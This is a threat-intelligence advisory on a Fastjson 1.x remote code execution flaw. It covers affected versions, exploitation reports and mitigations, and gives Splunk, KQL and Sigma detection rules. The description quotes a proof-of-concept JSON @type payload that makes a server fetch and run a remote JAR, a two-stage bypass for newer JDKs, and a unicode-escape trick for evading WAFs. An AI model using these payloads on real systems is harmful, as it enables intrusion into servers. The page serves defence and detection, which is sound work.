# Fastjson 1.x Gadget-Free RCE (CVE-2026-16723 / ThreatBook XVE-2026-39684) Under Active Exploitation

> A critical unauthenticated remote code execution flaw in Alibaba Fastjson 1.2.68-1.2.83 abuses @type resolution in ParserConfig.checkAutoType() to fetch and execute attacker bytecode from Spring Boot fat-jar deployments, with AutoType disabled and no classpath gadget. ThreatBook and Imperva report in-the-wild exploitation and a public PoC exists; vendor/patch status for 1.x is inconsistent across sources, so SafeMode or migration to Fastjson 2.x is the reliable control.

- **Published:** 2026-11-05T13:01:25Z
- **Last reviewed:** 2026-11-05T13:01:25Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5322
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5322.png
- **ID:** TL-2026-5322
- **Severity:** CRITICAL (CVSS 9)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 7
- **CVEs:** CVE-2026-16723

## Description

Fastjson is Alibaba's widely used Java JSON library. Versions 1.2.68 through 1.2.83 (the last 1.x release) contain a type-resolution flaw in ParserConfig.checkAutoType(): every attacker-supplied @type value is processed before AutoType flags or type bindings are consulted. The class name has '.' replaced with '/' and is passed to defaultClassLoader.getResourceAsStream(). In Spring Boot executable fat-jars (launched with java -jar), LaunchedURLClassLoader routes 'jar:' classpath specs through URLClassLoader.getResource(); an absolute spec such as jar:http://attacker:port/x!/POC.class causes the application to download a remote JAR (SSRF / remote resource fetch). Fastjson then scans the fetched class with an ASM ClassReader for an @JSONType annotation and, if present, loads the class via TypeUtils.loadClass(), executing its static initializer (<clinit>) and returning before any type-binding validation. The result is code execution under default configuration with AutoType off and no classpath gadget, and it survives type-bound calls such as parseObject(body, Dto.class). Vulnerable entry points are JSON.parse(), JSON.parseObject(String) and JSON.parseObject(String, Class).

In the public PoC shape, dots are used in place of '://' (for example {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}), with an integer IP literal to avoid dot mangling and '!' as the jar separator. This is fully reproducible on JDK 8. On JDK 9-25 the '://' in the class name is rejected, but a two-stage bypass restores RCE: the first request makes the JVM download the remote JAR to a /tmp/jar_cache<random>.tmp file that stays open via a file descriptor, and a second request references it through /proc/self/fd/N (e.g. jar:file:.proc.self.fd.11!.E11). Upgrading the JDK therefore does not mitigate the flaw. Researchers observe a ClassCastException after execution when the loaded class is cast to the expected DTO. WAF pattern matching can be evaded with \uXXXX escapes unless payloads are normalized first. ThreatBook's published exact-match block strings are '@type":"jar:file:.' and '@type":"jar:http:..'; its own testing reproduced the jar:http method on Spring Boot embedded Tomcat (remote JAR fetch/SSRF) and on a Spring Boot FatJar on JDK 8, and reported the jar:file method as not affected in the tested scenarios.

Exploitation conditions reported: Fastjson 1.2.68-1.2.83, a Spring Boot executable fat-jar (confirmed on Spring Boot 2.x/3.x/4.x with JDK 8/11/17/21), a network path delivering attacker-controlled JSON to a vulnerable parser, and SafeMode left at its disabled default. Plain non-fat JARs, generic uber-JARs, Tomcat/Jetty WAR deployments, Fastjson 1.2.60 and earlier, and all Fastjson 2.x are reported as not affected. The finder is Kirill Firsov of FearsOff Cybersecurity. Alibaba published its advisory on 2026-07-21; the CVE record (CVSS 3.1 base 9.0, CWE-20 and CWE-502) was published 2026-07-23. ThreatBook TDP added detection around 2026-07-20 and confirmed in-the-wild exploitation by 2026-07-22; the ThreatBook article was updated 2026-10-26. Imperva reports attacks on business, computing, financial services, healthcare and retail organizations mostly in the US, with some in Singapore and Canada; most traffic came from browser-impersonating clients and about 30% from Ruby- and Go-based tooling. No confirmed breaches, attacker IPs, domains or hashes have been published. CISA-ADP marked exploitation as 'none' on 2026-07-23 and the flaw was not in the CISA KEV catalog as of reporting on 2026-07-25.

Patch status is inconsistent across sources. As fetched, the Alibaba advisory wiki lists 'fixed in fastjson 1.2.84', while CSA, THN and ThreatBook state no patched 1.x build existed as of 2026-07-25 and 1.2.83 remained the latest 1.x release. Defenders should verify Maven Central for the current state rather than assume a fix, and should rely on SafeMode, the 1.2.83_noneautotype build, egress restriction, or migration to Fastjson 2.x. The hunt skeleton's severity (CRITICAL) is analyst-assigned; the CVSS 9.0 value was assigned by Alibaba as CNA. No threat actor has been attributed.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1505.003 Server Software Component: Web Shell
- T1588.006 Vulnerabilities
- T1595.002 Active Scanning: Vulnerability Scanning
- T1027 Obfuscated Files or Information

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Fastjson CVE-2026-16723 jar: URL @type Payload in WAF Request Logs — Exploitation** (`TL-2026-5322-SPL-001`)

Detects Fastjson 1.2.68-1.2.83 gadget-free RCE attempts (CVE-2026-16723 / XVE-2026-39684, T1190) where an attacker-supplied @type value is a jar: URL class name. Covers the jar:http:.. remote JAR fetch variant, the jar:file:. variant, generic jar: or URL-encoded forms, and \uXXXX-escaped @type evasion (T1027), using ThreatBook's published exact-match strings. Fires on request bodies logged by a WAF.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1190, T1027
- **Data sources:** waf:modsecurity, CommonSecurityLog, webserver_logs
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=waf sourcetype=modsecurity earliest=-24h
| eval body=lower(coalesce(request_body, uri_query, _raw))
| eval variant=case(match(body, "@type.{1,6}jar:http:[.]{2}"), "jar_http_remote_fetch", match(body, "@type.{1,6}jar:file:[.]"), "jar_file_fd_stage2", match(body, "@type.{1,12}jar(:|%3a)"), "jar_url_generic", match(body, "u0040(type|u0074)|u006au0061u0072|u0074u0079u0070u0065"), "unicode_escaped_type")
| where isnotnull(variant)
| eval src_ip=coalesce(src, src_ip, clientip), dest_host=coalesce(dest, host)
| stats count AS attempts values(variant) AS variants min(_time) AS first_seen max(_time) AS last_seen BY src_ip dest_host
| convert ctime(first_seen) ctime(last_seen)
```

### Microsoft KQL

```kql
CommonSecurityLog
| where TimeGenerated > ago(24h)
| extend Payload = tolower(strcat(RequestURL, ' ', Message, ' ', tostring(AdditionalExtensions)))
| where Payload matches regex '@type.{1,12}jar(:|%3a)' or Payload matches regex 'u0040(type|u0074)|u006au0061u0072|u0074u0079u0070u0065'
| extend Variant = case(Payload matches regex '@type.{1,6}jar:http:[.]{2}', 'jar_http_remote_fetch', Payload matches regex '@type.{1,6}jar:file:[.]', 'jar_file_fd_stage2', Payload matches regex '@type.{1,12}jar(:|%3a)', 'jar_url_generic', 'unicode_escaped_type')
| project TimeGenerated, DeviceVendor, SourceIP, DestinationHostName, DestinationIP, RequestURL, RequestClientApplication, Variant
```

### Sigma

```yaml
title: Fastjson 1.x CVE-2026-16723 jar URL Type Resolution Payload in Web Request
id: 5f0c2a8e-3b71-4d6a-9c14-7e2d8a1b6f30
status: experimental
description: Detects Fastjson @type values that use jar-scheme URL class names (jar:http:.. remote JAR fetch and jar:file:. variants), including URL-encoded and unicode-escaped forms, in web request query strings. POST bodies require a WAF or body-logging source.
references:
    - https://threatbook.io/blog/fastjson-rce-1.2.83-active-exploitation-detected-detection-mitigation
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16723
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-05
tags:
    - attack.initial-access
    - attack.t1190
    - attack.defense-evasion
    - attack.t1027
    - cve.2026-16723
logsource:
    category: webserver
detection:
    selection_plain:
        cs-uri-query|contains:
            - '@type":"jar:'
            - '@type%22%3A%22jar%3A'
            - '%40type%22%3A%22jar%3A'
    selection_escaped:
        cs-uri-query|contains:
            - 'u0040type'
            - 'u006au0061u0072'
    condition: 1 of selection_*
falsepositives:
    - Security scanners or authorized penetration tests replaying the public PoC
    - Vulnerability research traffic against test applications
level: high
```

**Known false positives:**

- Authorized vulnerability scans or red-team exercises replaying the public Fastjson PoC
- Security training or documentation pages that echo @type jar: strings in logged request bodies

**Tuning notes:** Replace index=waf / sourcetype=modsecurity with your WAF or reverse-proxy body-logging source and map request_body to your field name. Exclude scanner source IPs via an allowlist lookup. Enable request-body logging for application/json on Java-backed endpoints or the rule will not see POST payloads.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Fastjson CVE-2026-16723 Mass Exploitation / Scanning of jar: @type Payloads (locked: unlock with TL Creds)
- Java Fat-Jar Process Writing JSP Web Shell or Staged Payload (CVE-2026-16723 Persistence) (locked: unlock with TL Creds)
- Java Fat-Jar Rare Outbound Connection on Non-Standard Port (CVE-2026-16723 Callback) (locked: unlock with TL Creds)
- Fastjson CVE-2026-16723 JDK 9+ Stage-Two /proc/self/fd jar:file Payload (locked: unlock with TL Creds)
- JVM Creating [indicator] from Remote JAR Download (Fastjson CVE-2026-16723) (locked: unlock with TL Creds)
- Java Process Spawning Reverse Shell or Pipe-to-Shell Command (CVE-2026-16723) (locked: unlock with TL Creds)
- Spring Boot Fat-Jar JVM Spawning Shell or Downloader (Fastjson CVE-2026-16723 Post-Exploitation) (locked: unlock with TL Creds)
- Java Client Fetching JAR/ZIP Archive from External Host (CVE-2026-16723 Remote Class Loading) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sources

- [Fastjson RCE (<=1.2.83): Active Exploitation Detected - Detection & Mitigation](https://threatbook.io/blog/fastjson-rce-1.2.83-active-exploitation-detected-detection-mitigation)
- [Security Advisory: Remote Code Execution in fastjson 1.2.68-1.2.83 (Alibaba fastjson2 wiki)](https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83)
- [CVE-2026-16723 CVE record (MITRE CVE Services)](https://cveawg.mitre.org/api/cve/CVE-2026-16723)
- [NVD - CVE-2026-16723](https://nvd.nist.gov/vuln/detail/CVE-2026-16723)
- [Patched Fastjson Still Has a Gadget-Free RCE: A Source-Level Walkthrough (Miggo)](https://www.miggo.io/miggo-engineering-insights/patched-fastjson-still-has-a-gadget-free-rce-a-source-level-walkthrough)
- [Fastjson 1.x RCE Vulnerability Targeted in Attacks (The Hacker News)](https://thehackernews.com/2026/07/fastjson-1x-rce-vulnerability-targeted.html)
- [Unpatched Fastjson Vulnerability Exploited in Attacks (SecurityWeek)](https://www.securityweek.com/unpatched-fastjson-vulnerability-exploited-in-attacks/)
- [CSA Research Note: Fastjson 1.x Zero-Patch RCE (CVE-2026-16723)](https://labs.cloudsecurityalliance.org/research/csa-research-note-fastjson-1x-zero-patch-rce-cve-2026-16723/)
- [FastJson 1.x's Parting Gift: An Unpatched, Unauthenticated RCE (Hive Pro)](https://www.hivepro.com/threat-advisory/fastjson-1-xs-parting-gift-an-unpatched-unauthenticated-rce)
- [CVE-2026-16723 Fastjson 1.x RCE (Aviatrix Threat Research Center)](https://aviatrix.ai/threat-research-center/fastjson-1x-rce-vulnerability-cve-2026-16723/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5322